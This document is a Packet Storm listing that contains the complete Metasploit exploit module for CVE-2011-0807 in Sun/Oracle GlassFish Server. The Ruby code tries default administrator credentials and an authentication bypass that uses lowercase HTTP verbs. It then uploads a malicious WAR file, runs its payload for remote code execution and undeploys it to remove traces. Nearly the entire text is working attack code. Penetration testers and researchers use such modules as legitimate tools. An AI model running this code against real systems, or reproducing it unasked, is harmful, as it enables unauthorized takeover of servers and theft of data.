Lucene search

K
packetstormJoshua D. AbrahamPACKETSTORM:103714
HistoryAug 04, 2011 - 12:00 a.m.

Sun/Oracle GlassFish Server Authenticated Code Execution

2011-08-0400:00:00
Joshua D. Abraham
packetstormsecurity.com
21

0.965 High

EPSS

Percentile

99.5%

`##  
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",  
'Description' => %q{  
This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)   
instance using a default credential, uploads, and executes commands via deploying  
a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x  
this module will try to bypass authentication instead by sending lowercase HTTP verbs.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13485 $",  
'Author' =>  
[  
#Msf module for Glassfish 3.0  
'juan vazquez',  
#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1  
'Joshua Abraham <jabra[at]rapid7.com>',  
#Rewrite for 3.0, 3.1 (Commercial or Open Source)  
'sinn3r',  
],  
'References' =>  
[  
['CVE', '2011-0807'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[  
'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java',  
},  
],  
#  
# platform specific targets only  
#  
[  
'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
},  
],  
#  
# platform specific targets only  
#  
[  
'Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
},  
],  
],  
'DisclosureDate' => "Aug 4 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(4848),  
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),  
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),  
OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/'])  
], self.class)  
end  
  
#  
# Send GET or POST request, and return the response  
#  
def send_request(path, method, session='', data=nil, ctype=nil)  
  
headers = {}  
headers['Cookie'] = "JSESSIONID=#{session}" if session != ''  
headers['Content-Type'] = ctype if ctype != nil  
headers['Content-Length'] = data.length if data != nil  
  
res = send_request_raw({  
'uri' => path,  
'method' => method,  
'data' => data,  
'headers' => headers,  
}, 90)  
  
#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"  
return res  
end  
  
#  
# Return target  
#  
def auto_target(session, res, version)  
print_status("Attempting to automatically select a target...")  
  
res = query_serverinfo(session,version)  
return nil if not res  
return nil if not res.body  
  
plat = detect_platform(res.body)  
arch = detect_arch(res.body)  
  
# No arch or platform found?  
return nil if (not arch or not plat)  
  
# see if we have a match  
targets.each do |t|  
return t if (t['Platform'] == plat) and (t['Arch'] == arch)  
end  
  
# no matching target found  
return nil  
end  
  
#  
# Return platform (win, linux, or osx)  
#  
def detect_platform(body)  
body.each_line do |ln|  
ln.chomp!  
case ln  
when /os\.name = (.*)/  
os = $1  
case os  
when /Windows/  
return 'win'  
when /Linux/  
return 'linux'  
when /Mac OS X/  
return 'osx'  
end  
end  
end  
  
return 'java'  
end  
  
#  
# Return ARCH  
#  
def detect_arch(body)  
body.each_line do |ln|  
ln.chomp!  
case ln  
when /os\.arch = (.*)/  
ar = $1  
case ar  
when 'x86', 'i386', 'i686'  
return ARCH_X86  
when 'x86_64', 'amd64'  
return ARCH_X86  
end  
end  
end  
end  
  
#  
# Return server information  
#  
def query_serverinfo(session,version)  
res = ''  
  
if version == '2.x' or version == '9.x'  
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"  
res = send_request(path, @verbs['GET'], session)  
else  
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"  
res = send_request(path, @verbs['GET'], session)  
  
if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))  
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"  
res = send_request(path, @verbs['GET'], session)  
end  
end  
  
if (not res) or (res.code != 200)  
print_error("Failed: Error requesting #{path}")  
return nil  
end  
  
return res  
end  
  
#  
# Return viewstate and entry before deleting a GlassFish application  
#  
def get_delete_info(session, version, app='')  
if version == '2.x' or version == '9.x'  
path = '/applications/webApplications.jsf'  
res = send_request(path, @verbs['GET'], session)  
  
if (not res) or (res.code != 200)  
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")  
return nil  
end  
  
input_id = "javax.faces.ViewState"  
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/  
viewstate = res.body.scan(p)[0][0]  
  
entry = nil  
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/  
results = res.body.scan(p)  
  
results.each do |hit|  
if hit[1] =~ /^#{app}/  
entry = hit[0]  
entry << "col0:select"  
end  
end  
  
else  
path = '/common/applications/applications.jsf?bare=true'  
res = send_request(path, @verbs['GET'], session)  
  
if (not res) or (res.code != 200)  
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")  
return nil  
end  
  
input_id = "javax.faces.ViewState"  
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/  
viewstate = res.body.scan(p)[0][0]  
  
entry = nil  
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/  
results = res.body.scan(p)  
  
results.each do |hit|  
if hit[1] =~ /^#{app}/  
entry = hit[0]  
entry << "col0:select"  
end  
end  
end  
  
if (viewstate.nil?)  
print_error("Failed: Error getting ViewState")  
return nil  
elsif (entry.nil?)  
print_error("Failed: Error getting the entry to delete")  
end  
  
return viewstate, entry  
end  
  
#  
# Send an "undeploy" request to Glassfish and remove our backdoor  
#  
def undeploy(viewstate, session, entry)  
#Send undeployment request  
data = [  
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",  
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",  
"&#{Rex::Text.uri_encode(entry)}=true",  
"&propertyForm%3AhelpKey=ref-applications.html",  
"&propertyForm_hidden=propertyForm_hidden",  
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",  
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.partial.execute=%40all",  
"&javax.faces.partial.render=%40all",  
"&bare=true",  
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.partial.ajax=true"  
].join()  
  
path = '/common/applications/applications.jsf'  
ctype = 'application/x-www-form-urlencoded'  
  
res = send_request(path, @verbs['POST'], session, data, ctype)  
if (not res)  
print_error("Undeployment failed on #{path} - No Response")  
else  
if res.code < 200 or res.code >= 300  
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")  
end  
end  
end  
  
#  
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and  
# banner (ex: Sun Java System Application Server 9.x)  
#  
def get_version(res)  
#Extract banner from response  
banner = res.headers['Server']  
  
#Default value for edition and glassfish version  
edition = 'Commercial'  
version = 'Unknown'  
  
#Set edition (Open Source or Commercial)  
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/  
edition = 'Open Source' if banner =~ p  
  
#Set version. Some GlassFish servers return banner "GlassFish v3".  
if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/  
version = $2  
elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)  
version = $1  
elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')  
version = '2.x'  
elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')  
version = '9.x'  
end  
  
if version == nil or version == 'Unknown'  
print_status("Unsupported version: #{banner}")  
end  
  
return edition, version, banner  
end  
  
#  
# Return the formatted version of the POST data  
#  
def format_2_x_war(boundary,name,value=nil, war=nil)  
data = ''  
  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "  
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
data << war  
data << "\r\n"  
  
return data  
end  
  
#  
# Return the formatted version of the POST data  
#  
def format(boundary,name,value=nil, war=nil)  
data = ''  
  
if war  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "  
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
data << war  
data << "\r\n"  
else  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""  
data << "\r\n\r\n"  
data << "#{value}\r\n"  
end  
  
return data  
end  
  
#  
# Return POST data and data length, based on GlassFish edition  
#  
def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')  
data = ''  
  
if version == '3.0'  
  
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadparam_data = "form:sheet1:section1:prop1:fileupload"  
  
boundary = "--#{boundary}"  
  
data = [  
format(boundary, app_base, nil, war),  
format(boundary, uploadParam_name, uploadparam_data),  
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),  
format(boundary, "form:sheet1:section1:prop1:action", "client"),  
format(boundary, typefield, "war"),  
format(boundary, "form:war:psection:cxp:ctx", app_base),  
format(boundary, "form:war:psection:nameProp:appName", app_base),  
format(boundary, "form:war:psection:vsProp:vs", ""),  
format(boundary, status_checkbox, "true"),  
format(boundary, "form:war:psection:librariesProp:library", ""),  
format(boundary, "form:war:psection:descriptionProp:description", ""),  
format(boundary, "form_hidden", "form_hidden"),  
format(boundary, "javax.faces.ViewState", viewstate),  
"#{boundary}--"  
].join()  
elsif version == '2.x' or version == '9.x'  
  
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"  
  
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"  
focusElementId_data = 'form:title:topButtons:uploadButton'  
  
boundary = "-----------------------------#{boundary}"  
  
data = [  
format_2_x_war(boundary, app_base, nil, war),  
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),  
format(boundary, "uploadRdBtn", "client"),  
format(boundary, uploadParam_name, uploadParam_data),  
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),  
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),  
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),  
format(boundary, "form:title:ps:psec:vsp:vs", ""),  
format(boundary, status_checkbox, "true"),  
format(boundary, "form:title:ps:psec:librariesProp:library", ""),  
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),  
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),  
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),  
format(boundary, "form:helpKey", "uploaddev.html"),  
format(boundary, "form_hidden", "form_hidden"),  
format(boundary, "javax.faces.ViewState", viewstate),  
format(boundary, focusElementId_name, focusElementId_data),  
"#{boundary}--"  
].join()  
else  
  
boundary = "-----------------------------#{boundary}"  
  
#Setup dynamic arguments  
num1 = start.to_i  
num2 = num1 + 14  
num3 = num2 + 2  
num4 = num3 + 2  
num5 = num4 + 2  
num6 = num5 + 2  
num7 = num6 + 1  
  
id0 = num4  
id1 = num4 + 1  
id2 = num4 + 2  
id3 = num4 + 3  
id4 = num4 + 4  
id5 = num4 + 5  
id6 = num4 + 6  
id7 = num4 + 7  
id8 = num4 + 8  
id9 = num4 + 9  
  
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadParam_value = "form:sheet1:section1:prop1:fileupload"  
  
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"  
focusElementId_data = "form:title2:bottomButtons:uploadButton"  
  
data = [  
format(boundary,"uploadRdBtn","client"),  
## web service  
format(boundary, app_base, nil, war),  
## sheet1  
format(boundary, uploadParam_name, uploadParam_value),  
format(boundary,"form:sheet1:section1:prop1:extension",".war"),  
format(boundary,"form:sheet1:section1:prop1:action","client"),  
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),  
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),  
format(boundary,"form:appClient:psection:descriptionProp:description"),  
## war  
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),  
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),  
format(boundary,"form:war:psection:vsProp:vs"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),  
format(boundary,"form:war:psection:librariesProp:library"),  
format(boundary,"form:war:psection:descriptionProp:description"),  
format(boundary,"form_hidden","form_hidden"),  
format(boundary,"javax.faces.ViewState","#{viewstate}"),  
format(boundary, focusElementId_name, focusElementId_data)  
].join()  
  
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"  
item_list_data = "|server|com.sun.webui.jsf.separator|"  
  
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"  
item_value_data = "server"  
  
data << format(boundary, item_list_name, item_list_data)  
data << format(boundary, item_value_name, item_value_data)  
data << "#{boundary}--"  
data << "\r\n\r\n"  
  
end  
  
return data  
end  
  
#  
# Upload our payload, and execute it. This function will also try to automatically  
# clean up after itself.  
#  
def upload_exec(session, app_base, jsp_name, target, war, edition, version)  
if version == '2.x' or version == '9.x'  
path = "/applications/upload.jsf?appType=webApp"  
res = send_request(path, @verbs['GET'], session)  
  
#Obtain some properties  
begin  
p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi  
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi  
viewstate = res.body.scan(p1)[0][0]  
status_checkbox = res.body.scan(p2)[0][0]  
boundary = rand_text_alphanumeric(28)  
rescue  
print_error("Unable to gather required data for file upload")  
return  
end  
else  
path = "/common/applications/uploadFrame.jsf"  
res = send_request(path, @verbs['GET'], session)  
  
#Obtain some properties  
begin  
#start is only for dynamic arguments in POST data  
res.body =~ /propertySheetSection(\d{3})/  
start = $1  
p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi  
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/  
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/  
  
rnd_text = rand_text_alphanumeric(29)  
  
viewstate = res.body.scan(p1)[0][0]  
typefield = res.body.scan(p2)[0][0]  
status_checkbox = res.body.scan(p3)[0][0]  
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text  
rescue  
print_error("Unable to gather required data for file upload")  
return  
end  
end  
  
#Get upload data  
if version == '3.0'  
ctype = "multipart/form-data; boundary=#{boundary}"  
elsif version == '2.x' or version == '9.x'  
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"  
typefield = ''  
start = ''  
else  
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"  
end  
  
post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)  
  
#Upload our payload  
if version == '2.x' or version == '9.x'  
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'  
else  
path = '/common/applications/uploadFrame.jsf?'  
path << 'form:title:topButtons:uploadButton=Processing...'  
path << '&bare=false'  
end  
res = send_request(path, @verbs['POST'], session, post_data, ctype)  
  
#Print upload result  
if res and res.code == 302  
print_status("Successfully uploaded")  
else  
print_error("Error uploading #{res.code}")  
return  
end  
  
#Execute our payload using the application interface (no need to use auth bypass technique)  
jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"  
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
}  
)  
  
print_status("Executing #{jsp_path}...")  
req = nclient.request_raw({  
'uri' => jsp_path,  
'method' => 'GET',  
})  
  
if (req)  
res = nclient.send_recv(req, 90)  
else  
print_status("Error: #{rhost} did not respond on #{app_rport}.")  
end  
  
#Sleep for a bit before cleanup  
select(nil, nil, nil, 5)  
  
#Start undeploying  
print_status("Getting information to undeploy...")  
viewstate, entry = get_delete_info(session, version, app_base)  
if (not viewstate)  
raise RuntimeError, "Unable to get viewstate"  
elsif (not entry)  
raise RuntimeError, "Unable to get entry"  
end  
  
print_status("Undeploying #{app_base}...")  
undeploy(viewstate, session, entry)  
  
print_status("Undeployment complete.")  
end  
  
#  
# Try to login to Glassfish with a credential, and return the response  
#  
def try_login(user, pass)  
data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"  
data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"  
data << "loginButton=Login"  
  
path = '/j_security_check'  
res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')  
  
return res  
end  
  
def log_success(user,pass)  
print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => 'http',  
:user => user,  
:pass => pass,  
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",  
:active => true  
)  
end  
  
def try_default_glassfish_login(version)  
success = false  
session = ''  
res = ''  
if version == '2.x' or version == '9.x'  
user = 'admin'  
pass = 'adminadmin'  
  
print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")  
res = try_login(user,pass)  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/applications/upload.jsf', 'GET', session)  
  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
  
else  
user = 'admin'  
pass = ''  
  
print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")  
res = try_login(user,pass)  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)  
  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
end  
  
if success == true  
log_success(user,pass)  
else  
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"  
print_error(msg)  
end  
  
return success, res, session  
end  
  
def try_nondefault_glassfish_login(version,user,pass)  
  
print_status("Trying credential #{user}:'#{pass}'....")  
success = false  
session = ''  
  
res = try_login(user, pass)  
if version == '2.x' or version == '9.x'  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/applications/upload.jsf', 'GET', session)  
  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
else  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/common/index.jsf', 'GET', session)  
  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
end  
  
if success == true  
log_success(user,pass)  
else  
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"  
print_error(msg)  
end  
  
return success, res, session  
end  
  
  
def try_glassfish_auth_bypass(version)  
print_status("Trying GlassFish authentication bypass..")  
success = false  
  
if version == '2.x' or version == '9.x'  
res = send_request('/applications/upload.jsf', 'get')  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
else  
# 3.0  
res = send_request('/common/applications/uploadFrame.jsf', 'get')  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
  
if success == true  
print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => 'http',  
:user => '',  
:pass => '',  
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",  
:active => true  
)  
else  
print_error("#{target_host()} - GlassFish - Failed authentication bypass")  
end  
  
return success  
end  
  
def target_host  
path = datastore['PATH']  
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"  
end  
  
def exploit  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
path = datastore['PATH']  
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"  
success = false  
session = ''  
edition = ''  
version = ''  
  
#Invoke index to gather some info  
res = send_request('/common/index.jsf', 'GET')  
  
if res.code == 302  
res = send_request('/login.jsf', 'GET')  
end  
  
#Get GlassFish version  
edition, version, banner = get_version(res)  
print_status("Glassfish edition: #{banner}")  
  
#Get session  
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /  
session = $1  
  
#Set HTTP verbs. lower-case is used to bypass auth on v3.0  
@verbs = {  
'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',  
'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',  
}  
  
#auth bypass  
if version == '3.0' or version == '2.x' or version == '9.x'  
success = try_glassfish_auth_bypass(version)  
end  
  
#BUG caused us to skip default cred checks on sun applicaiton server 9.x   
if success == false and version != '9.x'  
#default credentials  
success,res,session_login = try_default_glassfish_login(version)  
if success == false  
if (  
( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') ) or   
( (version =~ /^3\./) and (user != 'admin' and pass != '') )  
)  
#non-default login  
success,res,session_login = try_nondefault_glassfish_login(version,user,pass)  
end  
end  
end  
  
#Start attacking  
if success  
session = session_login if (session_login =~ /\w+/)  
#Set target  
mytarget = target  
mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/  
raise RunTimeError, "Unable to automatically select a target" if (not mytarget)  
  
#Generate payload  
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)  
  
jsp_name = rand_text_alphanumeric(4+rand(32-4))  
app_base = rand_text_alphanumeric(4+rand(32-4))  
  
war = p.encoded_war({  
:app_name => app_base,  
:jsp_name => jsp_name,  
:arch => mytarget.arch,  
:platform => mytarget.platform  
}).to_s  
  
#Upload, execute, cleanup, winning  
print_status("Uploading payload...")  
res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)  
else  
print_error("#{target_host()} - GlassFish - Failed to authenticate login")  
end  
  
end  
end  
`

0.965 High

EPSS

Percentile

99.5%